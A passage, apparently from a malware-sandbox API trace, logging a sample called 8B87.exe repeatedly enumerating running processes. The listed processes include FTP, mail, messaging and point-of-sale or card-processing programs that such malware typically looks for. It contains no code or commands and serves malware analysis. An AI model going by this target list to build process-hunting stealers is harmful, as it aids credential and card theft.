hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0210.620] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0210.622] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0210.624] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0210.625] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0210.627] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0210.629] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0210.631] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0210.633] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0210.635] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0210.636] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0210.639] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0210.641] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0210.643] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0210.646] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0210.649] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0210.651] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0210.653] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0210.656] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0210.658] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0210.660] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0210.662] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0210.664] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0210.667] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0210.669] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0210.672] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0210.674] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0210.677] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0210.679] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0210.681] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0210.683] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0210.688] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0210.693] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0210.837] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0210.840] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0210.842] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0210.844] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0210.846] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0210.848] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0210.850] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0210.852] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0210.854] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0210.856] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0210.858] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0210.860] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0210.862] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0210.864] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0210.866] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0210.868] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0210.870] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0210.872] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.875] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0210.877] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0210.879] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0210.881] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0210.884] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0210.887] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0210.888] CloseHandle (hObject=0x11c8) returned 1 [0210.888] Sleep (dwMilliseconds=0x64) [0210.994] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0211.007] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0211.009] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0211.011] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0211.013] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0211.015] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0211.016] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0211.018] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0211.020] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0211.022] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0211.023] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.025] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.027] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0211.068] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.071] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.073] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.074] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.076] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.078] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.082] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.083] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0211.085] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0211.087] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0211.089] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.234] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0211.236] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0211.237] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: 